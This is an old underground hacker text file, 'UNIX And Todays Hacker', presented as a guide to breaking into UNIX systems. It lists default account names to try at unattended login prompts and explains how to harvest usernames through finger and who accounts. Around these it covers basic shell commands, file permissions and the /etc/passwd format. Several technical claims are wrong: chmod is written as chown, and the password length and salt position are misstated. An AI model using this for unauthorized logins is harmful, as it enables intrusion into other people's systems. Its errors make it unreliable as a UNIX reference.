2655 lines
126 KiB
Plaintext
2655 lines
126 KiB
Plaintext
|
|
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
|
³ÛÛÛÛÛÛÛ» ÛÛÛÛÛÛ» ÛÛÛÛÛÛ» ³
|
|
³ÛÛÉÍÍÍͼ ÛÛÉÍÍÍÛÛ» ÛÛÉÍÍÛÛ» ³
|
|
³ÛÛÛÛÛÛÛ» ÛÛº ÛÛº ÛÛÛÛÛÛɼ ³
|
|
³ÈÍÍÍÍÛÛº ÛÛº ÛÛº ÛÛÉÍÍÛÛ» ³
|
|
³ÛÛÛÛÛÛÛº ÛÛ» ÈÛÛÛÛÛÛɼ ÛÛ» ÛÛÛÛÛÛɼ ÛÛ»³
|
|
³ÈÍÍÍÍÍͼ Èͼ ÈÍÍÍÍͼ Èͼ ÈÍÍÍÍͼ Èͼ³
|
|
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
|
|
|
|
|
|
|
|
|
ßßßßßß ßßßßßß ßßßßßßß ßßßßß ßßßßßßß ßßß ßß ßßßßßßßß ßßßßß
|
|
ßß ßß ßß ßß ßß ßß ßß ßßßß ßß ßß ßß
|
|
ßßßßßß ßßßßßß ßßßßß ßßßßß ßßßßß ßß ßß ßß ßß ßßßßß
|
|
ßß ßß ßß ßß ßß ßß ßß ßßßß ßß ßß
|
|
ßß ßß ßß ßßßßßßß ßßßßßß ßßßßßßß ßß ßßß ßß ßßßßßß
|
|
|
|
UNIX And Todays Hacker
|
|
Your Friend and Mine
|
|
By: Syncomm (S.O.B. 513)
|
|
|
|
|
|
|
|
Introduction
|
|
------------
|
|
I wrote this file because in the underground there is alot of misinformation
|
|
floating around about UNIX and how to hack it. This evolved from all the '80's
|
|
and othe outdated material josteling about. That dosen't stop UNIX from being THE
|
|
most wide spread operating system among Bussinesses, Colledges, and even home
|
|
PC's. The most common forms of UNIX are SunOS, ULTRIX, XENIX, ROS, Berkley, PCIX,
|
|
and AT&T System V and above.
|
|
This file will concentrate on ULTRIX and AT&T, those being the most common,
|
|
(ULTRIX from an Inernet Hacker point of view, AT&T from a Core Hacker point of
|
|
view) and will cover just about EVERYTHING that a hacker from a novice to a
|
|
expert could use... If you find any errors or updates please contact a member of
|
|
S.O.B.
|
|
|
|
Identifying A Unix
|
|
------------------
|
|
When you come across a UNIX you will usually get the following:
|
|
|
|
Welcome to the AT&T 386 UNIX System
|
|
System name: S754222
|
|
|
|
login: daemon
|
|
Password:
|
|
Login incorrect
|
|
login:
|
|
|
|
|
|
|
|
Notice the lowercase "l" in login and the uppercase "P" in password... these are
|
|
the identifying marks of UNIX. Whenever you encounter a UNIX you will notice
|
|
those traits. The above System Identifies itself as an AT&T System V.
|
|
Unlike VAX there are no "defualt" passwords. There are only defualt accounts.
|
|
When the system is created none of the defualt accounts has a password untill the
|
|
system operator or the account owner sets one up for the account. Often, lazy
|
|
system operators and unwary users do not bother to password many (In some cases
|
|
even ALL!) of these accounts. To login under a non-passworded account simply
|
|
enter the accpunt name at the login prompt.
|
|
You may encounter some occasional errors when trying to get on under certain
|
|
defualt accounts simply because the account directory or the shell script for
|
|
that account was removed.
|
|
|
|
Accounts
|
|
--------
|
|
On any standard UNIX you will encounter several types of accounts. These
|
|
accounts are superuser, user, and command accounts. Superuser accounts give
|
|
system operator priviledges, and are not bound by file directory protections.
|
|
User accounts are names up to 14 characters long, however usually within the
|
|
range of 1-8. The usernames can contain almost any characters, including control
|
|
and special characters.
|
|
Command accounts simply login, preform a command, and (sometimes) logout. These
|
|
are used mainly for simple system tasks so the operator dosent have to mess with
|
|
the entire login procedure or so users can do simple quick tasks.
|
|
Here is a list of UNIX defualt and common accounts and their catagories:
|
|
|
|
NAME CATAGORY
|
|
---- --------
|
|
root superuser
|
|
makefsys -
|
|
mountfsys -
|
|
umountfsys -
|
|
checkfsys -
|
|
lp user
|
|
daemon -
|
|
trouble -
|
|
nuucp -
|
|
uucp -
|
|
bin -
|
|
rje -
|
|
adm -
|
|
sysadm -
|
|
sync command or user
|
|
batch user
|
|
field -
|
|
standard -
|
|
gsa -
|
|
admin superuser
|
|
unix user
|
|
games -
|
|
tty -
|
|
user -
|
|
guest -
|
|
general -
|
|
lpadmin superuser
|
|
demo user
|
|
pub -
|
|
student -
|
|
test -
|
|
public -
|
|
help -
|
|
who command
|
|
rwho -
|
|
finger -
|
|
rfinger -
|
|
time -
|
|
date -
|
|
|
|
NOTES:
|
|
The bin account although only a user account is particularly powerful as it has
|
|
ownership of many of the systems most powerful directories and files.
|
|
Try out variations of many of the accounts auch as root1, rje1, user1, etc.
|
|
|
|
Benifits of "fingering" a UNIX
|
|
------------------------------
|
|
|
|
The command account that I found the most handy were the
|
|
finger,rfinger,who,rwho accounts. These accounts would let you view who was on
|
|
the system at the current time. If this account was implemented during a heavy
|
|
time in the day one could litteraly cath dosens of other accounts to hack,
|
|
WITHOUT EVEN HAVING AN ACCOUNT ON THE SYSTEM YET! As you can see these commands
|
|
are very benificial!
|
|
|
|
UNIX Special Characters
|
|
-----------------------
|
|
|
|
UNIX interprets certain characters in special ways. A list of these characters
|
|
and their purpose is explained below:
|
|
|
|
Character Purpose
|
|
--------- -------
|
|
^D End of file
|
|
^J Return
|
|
^DELETE Ends current process
|
|
@ -
|
|
\ Escape Character
|
|
|
|
These characters are rarely used in usernames and passwords because of the way
|
|
they are interpreted.
|
|
|
|
UNIX Shell
|
|
----------
|
|
|
|
Shell is a command interpeter program that accepte your input and carries out
|
|
your commands. It is NOT the operating system, it is the interface between the
|
|
user and the operating system. It is executed once you login and is halted upon
|
|
your logout. Shell is just a regular program, and infact once you login you can
|
|
run multiple shells, which can be used to preform some rather interesting
|
|
trickss that will be detailed later in this packet. Here is a list of the shells,
|
|
and their unique characteristics, and how to tell which shell you are using:
|
|
|
|
Shell
|
|
-----
|
|
sh -This is the Bourne shell, the standard shell of Unix System V,and the
|
|
focus of this file. This shell gives user-level accounts a command
|
|
prompt of "$", and "#" for superuser accounts. On Berkely BSD Unix,
|
|
this shell gives an ampersand ("&") prompt.
|
|
|
|
csh -This is the C shell, developed by the Berkely University Science
|
|
department. This shell is pretty much the same as the Bourne shell, but
|
|
features different shell programming control structures [shell
|
|
programming will be explained later, in the section on Unix software
|
|
development], and has a few luxuries such as aliasing (giving a command
|
|
or a series of commands a new name), and it keeps a history of the
|
|
commands you enter. This shell gives a "%" prompt for user accounts and
|
|
a "#" prompt for superuser accounts.
|
|
|
|
ksh -This is the new, Korn shell. This shell combines features of both the
|
|
Bourne shell and the C shell. It boasts the Bourne shell's easier shell
|
|
programming, along with the C shell's aliasing and history. Its prompts
|
|
are "$" for users and "#" for superusers.
|
|
|
|
rsh -This is the restricted Bourne shell. It is used for accounts that the
|
|
superuser wishes to restrict the commands available to. It will not
|
|
allow you to execute commands outside of your searchpath (which will be
|
|
explained later, also, in the section on software development), and
|
|
will not let you change directories or change the values of shell
|
|
variables. In all other respects, it is similar to the Bourne shell. A
|
|
later section of this file will detail ways to overcome the
|
|
restrictions of this shell.
|
|
|
|
ua -This is a lousy, menu-driven shell for the AT&T Unix PC. (Yes, there
|
|
are some of those with dialups!) It implements a lousy windowing
|
|
system that is SLOOOW, even at 2400 baud. Luckily, you can exit to the
|
|
Bourne shell from the ua shell.
|
|
|
|
These are by no means all of the shells you will run across. These are
|
|
only the "official" shells provided by the distributors of the Unix operating
|
|
system. I've run across many "home-made" shells in my time. Also, any compiled
|
|
program can be used as a shell. For instance, I've used systems run by
|
|
businesses where one account logged in using an accounting program as a shell.
|
|
This prevented the account from being used to do anything other than use the
|
|
accounting program. Other good examples of this are the command logins-the who
|
|
command login, for example, uses the who program as its shell. When the program
|
|
is finished, the account is logged out. You will most definitely encounter
|
|
other such accounts as you hack Unix.
|
|
|
|
UNIX Commands
|
|
-------------
|
|
I will attempt to discribe some fairly basic commands and tell how to get more
|
|
help online. I will also give out some breif syntax for a few of these commands
|
|
you will find necessary to know in order to find your way around the system.
|
|
Unix will usually only require that you use the base name of a file or
|
|
directory you wish to reference if it is in the directory you are currently in.
|
|
Most commands will also let you specify full pathnames if you wish to reference
|
|
files in other parts of the system. Most commands will also let you use several
|
|
wildcard characters when referencing files and directories. These are:
|
|
? -This means to accept any single character in the place of the question
|
|
mark. For instance, "t?m" would include both "tom" and "tim".
|
|
|
|
* -This means to accept any character, group of characters, or nothing in
|
|
the position of the asterisk. For example, "t*m" would include "thom",
|
|
"tom", and "tim".
|
|
[] -This means to accept any character within the brackets in the position
|
|
of the brackets. For instance, "t[oia]m" would include "tom", "tim",
|
|
and "tam". You can also specify a range of characters in the brackets
|
|
by using a hyphen. For instance, "t[a-c]m" would include "tam", "tbm",
|
|
and "tcm".
|
|
|
|
Most commands and programs in Unix take their input from the keyboard
|
|
and send their output to the screen. With most commands and programs, however,
|
|
you can instruct them to draw their input from a text file and redirect their
|
|
output to another file instead. For instance, assume there is a program on the
|
|
system called "encrypter", that takes its input from the keyboard, encrypts it,
|
|
and displays the encrypted data on the screen. You could instruct the program
|
|
to take its input, instead, from a previously prepared text file using the
|
|
input redirection character, "<". In Unix, as in MS-DOs (which is based in part
|
|
on Unix), you execute a program by typing its name. You wish the program to
|
|
take its input from a file in the directory you are currently in called
|
|
"top_secret". You would type "encrypter < top_secret". The program would then
|
|
read in the contents of the file top_secret and encrypt it, then print out the
|
|
encrypted form on the screen. Suppose you wanted to use the encrypter program
|
|
to encrypt files you wished to keep private? You could redirect the encrypted
|
|
output from the screen into another file. To do this, you would use the output
|
|
redirection character, ">". Say, you wished to save the output in a file called
|
|
"private". You would type "encrypter < top_secret > private". The encrypter
|
|
program would then read in the contents of the file top_secret and write the
|
|
encrypted output into the file "private". Nothing would be displayed to the
|
|
screen. If the file private does not exist, it will be created. If it
|
|
previously existed, its contents will be erased and replaced with the output
|
|
from the encrypter program. Perhaps you would want to add to the contents of a
|
|
file rather than replace its contents? This is done with ">>". The command
|
|
"encrypter < top_secret >> private" would append the output from the encrypter
|
|
to the current contents of the file private. Again, if the file private does
|
|
not already exist, it will be created.
|
|
Most commands have one or more options that you can specify. These are
|
|
placed after the command itself in the command line, and preceded by a hyphen.
|
|
For instance, let's say that the encrypter program had an option called
|
|
"x", which caused it to use a different encoding algorithm. You would
|
|
specify it by typing "encrypter -x". If a command has two or more options, you
|
|
can usually specify one or more together in a stream. For instance, let's say
|
|
that the encrypter program has 2 options, x and y. You could specify both like
|
|
this: "encrypter -xy". If one or more of the options requires an argument, for
|
|
example the x option requires a 2 character key, you can specify the options
|
|
separately, like this: "encrypter -xaa -y", where aa is the 2-character key.
|
|
The pipe character, "|", is used to channel the output of one command
|
|
or program into the input of another. For instance, suppose you had a command
|
|
called "report" that formatted documents into report format, and you had a file
|
|
called "myreport" that you wished to view in the report format. You could type:
|
|
"cat myreport" | report". This would type out the contents of the file myreport
|
|
to the report command rather than the screen, and the report command would
|
|
format it and display it on the screen. (Note: this example could have been
|
|
done with I/O redirection by typing "report < myreport"...but it makes a good
|
|
example of the use of pipes.)
|
|
You can choose to execute commands and programs in the background-that
|
|
is, the command executes, but you are free to carry out other tasks in the
|
|
meantime. To do this, type in the command line, followed by " &". For instance,
|
|
"rm * &" would delete all the files in the directory, but your terminal would
|
|
not be tied up. You would still be free to perform other tasks. When you do
|
|
this, the system will print out a number and then return you to the system
|
|
prompt. This number is the process number of the command. Process numbers will
|
|
be explained later in this section in the entry for the command "ps". The
|
|
command can be stopped before its completion with the kill command, also
|
|
explained in this section. Example:
|
|
$rm * &
|
|
1234
|
|
$
|
|
|
|
Note that when you use background processing, the command or program will still
|
|
takes its input from the keyboard (standard input device) and send its output
|
|
to the screen (standard output device), so if you wish for the command to work
|
|
in the background without disturbing you, you must redirect its input (if any)
|
|
and its output (if it's to the screen).
|
|
|
|
The Commands
|
|
------------
|
|
ls -This command lists the files and subdirectories in a directory. If you
|
|
simply type "ls", it will display the files in your current directory.
|
|
You can also specify the pathname of another directory, and it will
|
|
display the files in it. It will not display hidden files (files whose
|
|
name begins with a period).
|
|
|
|
Options:
|
|
a -This option will display all files, including hidden files.
|
|
|
|
Example:
|
|
$ ls -a
|
|
|
|
. .. junk source
|
|
$
|
|
|
|
cd -This is the command used to move from one directory to another. To go
|
|
to a directory directly below your current directory, type "cd
|
|
<dirname>". To move up to the directory directly above your current
|
|
directory, type "cd .." You can also jump to any directory in the
|
|
system from any other directory in the system by specifying the path-
|
|
name of the directory you wish to go to, such as "cd /usr/source".
|
|
|
|
Example:
|
|
$cd /usr/source
|
|
$
|
|
|
|
pwd -This prints out the pathname of the directory you are currently in.
|
|
Useful if you forget where you're at in the system tree.
|
|
|
|
Example:
|
|
$pwd
|
|
/usr/source
|
|
|
|
cat -Displays the contents of a text file on the screen. The correct syntax
|
|
is "cat <filename>". You can use basenames or pathnames.
|
|
|
|
Example:
|
|
$cat memo
|
|
Bill,
|
|
Remember to feed the cat!
|
|
-Martha
|
|
$
|
|
|
|
rm -This deletes a file. Syntax: "rm <filename>".
|
|
|
|
Example:
|
|
$rm junk
|
|
$
|
|
|
|
cp -Copies a file. Syntax: "cp file1 file2", where file1 is the file you
|
|
wish to copy, and file2 is the name of the copy you wish to create. If
|
|
file2 already exists, it will be overwritten. You may specify pathnames
|
|
for one or both arguments.
|
|
|
|
Example:
|
|
$cp /usr/junk /usr/junk.backup
|
|
|
|
stty -Displays/sets your terminal characteristics. To display the current
|
|
settings, type "stty". To change a setting, specify one of the options
|
|
listed below.
|
|
|
|
Options:
|
|
echo -System echoes back your input.
|
|
noecho -System doesn't echo your input.
|
|
intr 'arg' -Sets the break character. The format is '^c' for control-c,
|
|
etc. '' means no break character.
|
|
erase 'arg' -Sets the backspace character. Format is '^h' for control-h,
|
|
etc. '' means no backspace character.
|
|
kill 'arg' -Sets the kill character (which means to ignore the last line
|
|
you typed). Format is the same as for intr and erase,
|
|
'^[character]', with '' meaning no kill character.
|
|
|
|
Example:
|
|
$stty intr '^c' erase '^h'
|
|
$stty
|
|
stty -echo intr '^c' erase '^h' kill '^x'
|
|
|
|
lpr -This command prints out a file on the Unix system's printer, for you
|
|
to drop by and pick up (if you dare!) The format is "lpr <filename>".
|
|
|
|
Example:
|
|
$lp junk
|
|
|
|
ed -This is a text file line editor. The format is "edit <filename>". The
|
|
file you wish to modify is not modified directly by the editor; it is
|
|
loaded into a buffer instead, and the changes are only made when you
|
|
issue a write command. If the file you are editing does not already
|
|
exist, it will be created as soon as issue the first write command.
|
|
When you first issue the edit command, you will be placed at the
|
|
command prompt, ":" Here is where you issue the various commands. Here
|
|
is list of some of the basic editor commands.
|
|
# -This is any number, such as 1, 2, etc. This will move you down
|
|
to that line of the file and display it.
|
|
d -This deletes the line you are currently at. You will then be
|
|
moved to the previous line, which will be displayed.
|
|
a -Begin adding lines to the file, just after the line that you
|
|
are currently on. This command will put you in the text input
|
|
mode. Simply type in the text you wish to add. To return to the
|
|
command mode, type return to get to an empty line, and press
|
|
the break key (which is whatever character you have set as your
|
|
break key). It is important to set the break character with
|
|
stty before you use the editor!
|
|
/ -Searches for a pattern in the file. For example, "/junk" would
|
|
search the file from your current line down for the first line
|
|
which contains the string "junk", and will move you to that
|
|
line if it finds one.
|
|
i -Insert. Works similar to a, except that the text is inserted
|
|
before the line you are currently on.
|
|
p -Prints out a line or lines in the buffer. "p" by itself will
|
|
display your current line. "#p" will display the line "#".
|
|
You may also specify a range of lines, such as "1,3p" which
|
|
will display lines 1-3. "1,$p" will print out the entire file.
|
|
w -Write the changes in the buffer to the file.
|
|
q -Quit the editor.
|
|
|
|
Example:
|
|
$edit myfile
|
|
Editing "myfile" [new file]
|
|
0 lines, 0 characters
|
|
:a
|
|
I am adding stupid text to myfile.
|
|
This is a test.
|
|
^c [this is assumed as a default break character in this example]
|
|
:1,$p
|
|
I am adding stupid text to myfile.
|
|
This is a test.
|
|
:2
|
|
This is a test.
|
|
:d
|
|
I am adding stupid text to myfile.
|
|
:w
|
|
:q
|
|
$
|
|
|
|
grep -this command searches for strings of text in text files. The format is
|
|
grep [string] [file]. It will print out every line in the file that
|
|
contains the string you specified.
|
|
|
|
Options:
|
|
v -Invert. This will print out every line that DOESN'T contain
|
|
the string you specified.
|
|
|
|
Example:
|
|
$ grep you letter
|
|
your momma!
|
|
I think you're going to get caught.
|
|
$
|
|
|
|
who -This will show the users currently logged onto the system.
|
|
|
|
Example:
|
|
$ who
|
|
|
|
root console Mar 10 01:00
|
|
uucp contty Mar 30 13:00
|
|
bill tty03 Mar 30 12:15
|
|
$
|
|
Now, to explain the above output: the first field is the username of
|
|
the account. The second field shows which terminal the account is on.
|
|
Console is, always, the system console itself. On many systems where
|
|
there is only one dialup line, the terminal for that line is usually
|
|
called contty. the tty## terminals can usually be either dialups or
|
|
local terminals. The last fields show the date and time that the user
|
|
logged on. In the example above, let's assume that the current time and
|
|
date is March 30, and the time is 1:00. Notice that the time is in 24
|
|
hour format. Now, notice that the root (superuser) account logged in on
|
|
March 10! Some systems leave the root account logged in all the time on
|
|
the console. So, if this is done on a system you are using, how can you
|
|
tell if the system operator is really online or not? Use the ps
|
|
command, explained next.
|
|
|
|
ps -This command displays information about system processes.
|
|
|
|
Options:
|
|
u -this displays information on a specific user's processes. For
|
|
instance, to display the root account's processes:
|
|
$ ps -uroot
|
|
|
|
PID TTY TIME CMD
|
|
1234 console 01:00 sh
|
|
1675 ? 00:00 cron
|
|
1687 console 13:00 who
|
|
1780 tty09 12:03 sh
|
|
|
|
Now, to explain that: The first field is the process number.
|
|
Each and every time you start a processes, running a program,
|
|
issueing a command, etc., that process is assigned a unique
|
|
number. The second is which terminal the process is being run
|
|
on. The third field is when the process was started. The last
|
|
field is the base name of the program or command being run.
|
|
A user's lowest process number is his login (shell) process.
|
|
Note that the lowerst process in the above example is 1234.
|
|
This process is being run on the console tty, which means the
|
|
superuser is logged on at the system console. Note the ? as the
|
|
tty in the next entry, for the cron process. You can ignore any
|
|
processes with a question mark as the terminal. These processes
|
|
are not bewing carried out by a user; they are being carried
|
|
out by the system under that user's id. Next, note the entry
|
|
for process # 1687, on the console terminal, "who". this means
|
|
that the superuser is executing the who command...which means
|
|
he is currently actively on-line. The next entry is interest-
|
|
ing...it shows that the root user has a shell process on the
|
|
terminal tty09! This means that someone else is logged in
|
|
under the root account, on tty09. If more than one person is
|
|
using an account, this option will display information for all
|
|
of them, unless you specify the next option...
|
|
|
|
t -This allows you to select processes run on a specific term-
|
|
inal. For example:
|
|
$ps -t console
|
|
will show all the processes currently being run on the console.
|
|
|
|
Example:
|
|
Remember, options can usually be combined. This will show all
|
|
the root user's processes being run on the system console:
|
|
$ ps -uroot -tconsole
|
|
|
|
PID TTY TIME CMD
|
|
1234 console 01:00 sh
|
|
1687 console 13:00 who
|
|
$
|
|
|
|
kill -Kills processes. Syntax: kill [-#] process#. You must know the process
|
|
number to kill it. You can, optionally, specify an option of 1-9, to
|
|
determine the power of the kill command. Certain kinds of processes,
|
|
like shell processes, require more power to kill. Kill -9 will stop any
|
|
process. You must have superuser capabilities fo kill another user's
|
|
processes (unless he's using your account).
|
|
|
|
Example:
|
|
$kill -9 1234
|
|
1234 killed.
|
|
$
|
|
|
|
write -This command is for on-line realtime user to user communications. To
|
|
communicate with a user, type "write <username>". If more than one
|
|
person is logged in under that user name, you must specify a specific
|
|
terminal you wish to speak to. When you do this, the person you wish
|
|
to communicate with will see:
|
|
Message from [your account name] tty## [<--your terminal]
|
|
|
|
Now you can type messages, and they will be displayed on that person's
|
|
terminal when you press return. When you are finished, press control-D
|
|
to quit.
|
|
|
|
Example:
|
|
$ write root
|
|
Fuck you I'm a hacker! [This is not advised.]
|
|
^d
|
|
$
|
|
|
|
mail -The Unix mail facilities, used to send/receive mail. To send mail,
|
|
type "mail <username>". Enter your message and press control-d to send.
|
|
To read your mail, type "mail". Your first letter will be displayed,
|
|
and then you will be given a "?" prompt.
|
|
Here are the legal commands you give at this point:
|
|
## -Read message number ##.
|
|
d -Delete last message read.
|
|
+ -Go to next message.
|
|
- -Move back one message.
|
|
m -Send mail to user.
|
|
s -Save last message read. You can specify the name of the file
|
|
to which it is saved, or it will be saved to the default file,
|
|
mbox.
|
|
w -Same as s, but will save the message without the mail file
|
|
header.
|
|
x -Exit without deleting messages that have been read.
|
|
q -Exit, deleting messages that have been read.
|
|
p -Print last message read again.
|
|
? -Lists these commands.
|
|
|
|
Examples:
|
|
To send mail:
|
|
$ mail root
|
|
Hi bill! This is a nice system.
|
|
-John
|
|
^d
|
|
$
|
|
To read mail:
|
|
$ mail
|
|
From john Thu Mar 13 02:00:00 1986
|
|
Hi bill! This is a nice system.
|
|
-John
|
|
? d
|
|
Message deleted.
|
|
?q
|
|
$
|
|
|
|
crypt -This is the Unix file encryption utility. Type "crypt". You will then
|
|
be prompted to enter the password. You then enter the text. Each line
|
|
is encrypted when you press return, and the encrypted form is displayed
|
|
on the screen. So, to encrypt a file, you must use I/O redirection.
|
|
Type "crypt [password] < [file1] > [file2]". This will encrypt the con-
|
|
tents of file1 and place the encrypted output in file2. If file 2 does
|
|
not exist, it will be created.
|
|
|
|
passwd -This is the command used to change the password of an account. The
|
|
format is "passwd <account>". You must have superuser capabilities to
|
|
change the password for any account other than the one you are logged
|
|
in under. To change the password of the account you are currently
|
|
using, simply type "passwd". You will then be prompted to enter the
|
|
current password. Next, you will be asked to enter the new password.
|
|
Then you will be asked to verify the new password. If you verify the
|
|
old password correctly, the password change will be complete. (Note:
|
|
some systems use a security feature which forces you to use at least
|
|
2 non-alphanumeric characters in the password. If this is the case with
|
|
the system you are on, you will be informed so if you try to enter a
|
|
new password that does not contain at least 2 non-alphanumeric char-
|
|
acters.)
|
|
|
|
su -This command is used to temporarily assume the id of another account.
|
|
the format is "su <account>". If you don't specify an account, the
|
|
default root is assumed. If the account has no password, you will then
|
|
assume that account's identity. If it does have a password, you will
|
|
be prompted to enter it. Beware of hacking passwords like this, as the
|
|
system keeps a log of all attempted uses, both successful and un-
|
|
successful, and which account you attempted to access.
|
|
|
|
mkdir -This command creates a directory. the format is "mkdir <dirname>".
|
|
|
|
rmdir -This command deletes a directory. The directory must be empty first.
|
|
The format is "rmdir <dirname>".
|
|
|
|
mv -Renames a file. The syntax is "mv [oldname] [newname]". You can use
|
|
full pathnames, but the new name must have the same pathname as the
|
|
old name, except for the filename itself.
|
|
|
|
-------------------------------------------------------------------------------
|
|
Further help can usually be gained from the system itself. Most systems
|
|
feature on-line entries from the Unix System User's Manual. You can read these
|
|
entries using the man command. The format is "man <command>". Some Unix System
|
|
V systems also feature a menu-driven help facility. Simply type "help" to
|
|
access it. This one will provide you with a list of commands, as well as with
|
|
the manual entries for the commands.
|
|
-------------------------------------------------------------------------------
|
|
|
|
UNIX File and Directory Protections
|
|
-----------------------------------
|
|
Every Unix account is assigned a specific user number, and a group number. This
|
|
is how the system identifies the user. Therefore, 2 accounts with different
|
|
usernames but the same user number would be considered by the system to be the
|
|
same id. These user and group numbers are what Unix uses to determine file and
|
|
directory access privileges.
|
|
Unix has three different file/directory permissions: read, write, and execute.
|
|
This how these permissions affect access to files:
|
|
|
|
read -Allows a user to view the contents of the file.
|
|
write -Allows a user to change the contents of a file.
|
|
execute -Allows a user to execute a file (if it is an executable type of file;
|
|
if it isn't, the user will get an error when trying to execute it).
|
|
|
|
This is how these permissions affect access to directories:
|
|
|
|
read -Allows a user to list out the files in a directory (ls).
|
|
write -Allows a user to save and delete files in this directory.
|
|
execute -If a user has execute access to a directory, he can go to that dir-
|
|
ectory with the cd command. If he also has read permission to that dir-
|
|
ectory, he can also copy files from it and gain information on the
|
|
permissions for that directory and the files it contains, with the "l"
|
|
option to the ls command, which will be explained soon.
|
|
|
|
Unix divides users into 3 classes: user (the owner of the file or directory),
|
|
group (members of the owner's group), and other (anyone who doesn'tfit into the
|
|
first two classes). You can specify what permissions to give to a file for each
|
|
class of user.
|
|
To show the permissions of the files in a directory, use "ls -l". This will list
|
|
the contents of the directory (as in ls), and will show each's permissions. For
|
|
example:
|
|
$ls
|
|
bin startrek
|
|
$ ls -l
|
|
drwxrwxrwx 1 bin sys 12345 Mar 10 01:30 bin
|
|
-rwxr-xr-- 1 guest users 256 Mar 20 02:25 startrek
|
|
|
|
In the above example, the directory we are in contains a subdirectory called bin
|
|
and a file called "startrek". Here is an explantion of the fields: The first
|
|
field contains the file's type and permissions. Look at the first field of
|
|
the first line, "drwxrwxrwx". Note the "d" at the begginning. Then see the "-" at
|
|
the begginging of the first field for the file startrek. This shows the file
|
|
type. "D" is a directory. "-" is a file. "c" is a device file. Now, back to the
|
|
first field of the first line again. Notice the "rwxrwxrwx". These are the
|
|
permissions. The permissions are divided into three groups: [user][group][other].
|
|
R stands for read, w stands for write, and x stand for execute. "rwxrwxrwx" means
|
|
that all three classes of users, owner, group, and other, have read, write, and
|
|
execute permissions to the directory bin. Now look at the second line. It reads
|
|
"rwxr-xr--". Notice the "-"'s in the place of some of the permissions. This means
|
|
that the file was not given that permission. Line 2 shows that the owner has
|
|
read, write, and execute permissions for the file startrek, members of the
|
|
owner's group have read and execute permissios, but not write (notice the "-" in
|
|
the place of the group part's w), and all others have only read privileges
|
|
("r--"...there are hyphens in the place of the others part's w and x).
|
|
Now, let's look at the other fields. The second field is a number (in his case,
|
|
the number is one for each line). This shows the number of copies of this file on
|
|
the system. The third field shows the name of the owner of file (or directory).
|
|
The fourth field shows the username of the owner of the file. The fifth field,
|
|
which is not shown on some systems, shows the name of the owner's group.The sixth
|
|
field shows the size of the file. the seventh field shows the time and date the
|
|
file was last modified. the last field shows the name of the file or directory.
|
|
The command used to change file/directory permissions is chmod. There are 2 ways
|
|
to change permissions: symbolically and absolutely. This will explain both.
|
|
When you change permissions symbolically, only the permissions you specify to be
|
|
added or deleted will be changed. The other permissions will remain as they are.
|
|
The format is:
|
|
chown [u, g, or o] [+ or -] [rwx] [file/directory name]
|
|
The following abbreviations are used:
|
|
u -User (the file or directory's owner)
|
|
g -Group (members of the owner's group)
|
|
o -Others (all others)
|
|
r -Read permission
|
|
w -Write permission
|
|
x -Execute permission
|
|
|
|
You use u, g, and o to specify which group you wish to change the privileges
|
|
for. To add a permission, type "chown [class]+[permissions] [filename]". For
|
|
instance, to add group write permissions to the file startrek, type "chown g+w
|
|
startrek". To delete permissions, use the "-". For instance, to remove the
|
|
owner's write access to the file "startrek", type "chown u-w startrek".
|
|
|
|
When you set file permissions absolutely, any permissions that you do not give
|
|
the file or directory are automatically deleted. The format for setting
|
|
permissions absolutely is "chown [mode number] filename". You determine
|
|
the mode number by adding together the code numbers for the permissions you
|
|
wish to give the file. Here are the permissions and their numbers:
|
|
|
|
Others execute permission 1
|
|
Others write permission 2
|
|
Others read permission 4
|
|
|
|
Group execute permission 10
|
|
Group write permission 20
|
|
Group read permission 40
|
|
|
|
User (owner) execute permission 100
|
|
User (owner) write permission 200
|
|
User (owner) read permission 400
|
|
|
|
There are also two special file modes that can be set only absolutely. These are
|
|
the UID and GID modes. The UID mode, when applied to an executable file, means
|
|
that when another user executes the file, he executes it under the user number of
|
|
the owner (in other words, he runs the program as if he were the owner of the
|
|
file). If the file has its GID mode bit set, then when someone executes the file,
|
|
his group will temporarily be changed to that of the file's owner. The permission
|
|
number for the GID mode is 2000, and the number for the UID mode is 4000. If the
|
|
uid bit is set, there will be an "S" in the place of the x in the owner
|
|
permissions section when you check a file's permissions:
|
|
-rwSr-xr-x
|
|
If the uid bit is set, and the owner of the file has execute permissions, the S
|
|
will not be capitalized:
|
|
-rwsr-xr-x
|
|
If the gid bit is set, the same applies to the x in the section on group
|
|
permissions.
|
|
A short note here is in order on how these permissions affect superuser
|
|
accounts. They don't-unless the owner of the file is root. All superuser
|
|
accounts have the same user number, which means that the system considers them
|
|
all to be the same-that is, they are considered to be the root account. Thus,
|
|
superuser accounts are only bound by the protections of files and directories
|
|
that they own, and they can easily change the permissions of any files and
|
|
directories that they do not have the access to that they wish.
|
|
|
|
Special UNIX Files
|
|
------------------
|
|
This section will detail the purposes of some files that are found on all
|
|
systems. There are quite a few of these, and knowing their uses and what
|
|
format their entries are in is very useful to the hacker.
|
|
|
|
The Files
|
|
---------
|
|
/etc/passwd -This is the password file, and is THE single most important
|
|
file on the system. This file is where information on the
|
|
system's accounts are stored. Each entry has 7 fields:
|
|
|
|
username:password:user#:group#:description:home dir:shell
|
|
|
|
The first field, naturally, is the account's username. The
|
|
second field is the account's password (in an encrypted form).
|
|
If this field is blank, the account doesn't have a password.
|
|
The next field is the account's user number. The fourth field
|
|
is the account's group number. The fifth field is for a
|
|
description of the account. This field is used only in the
|
|
password file, and is often just left blank, as it has no
|
|
significance. The sixth field is the pathname of the account's
|
|
home directory, and the last field is the pathname of the
|
|
account's shell program. Sometimes you may see an account with
|
|
a program besides the standard shell programs (sh, csh, etc.)
|
|
as its shell program. These are "command logins". These
|
|
accounts execute these programs when logging in. For example,
|
|
the "who" command login would have the /bin/who program as its
|
|
shell.
|
|
Here is a typical-looking entry:
|
|
|
|
root:hGBfdJYhdhflK:0:1:Superuser:/:/bin/sh
|
|
|
|
This entry is for the root account. Notice that the encrypted
|
|
form of the password is 13 characters, yet the Unix passwords
|
|
are only 11 characters maximum. The last 2 characters are what
|
|
is called a "salt string", and are used in the encryption
|
|
process, which will be explained in more detail later. Now,
|
|
notice the user number, which is zero. Any account with a user
|
|
number of 0 has superuser capabilities. The group number is 1.
|
|
The account description is "superuser". The account's home dir-
|
|
ectory is the root directory, or "/". The account's shell is
|
|
the bourne shell (sh), which is kept in the directory /bin.
|
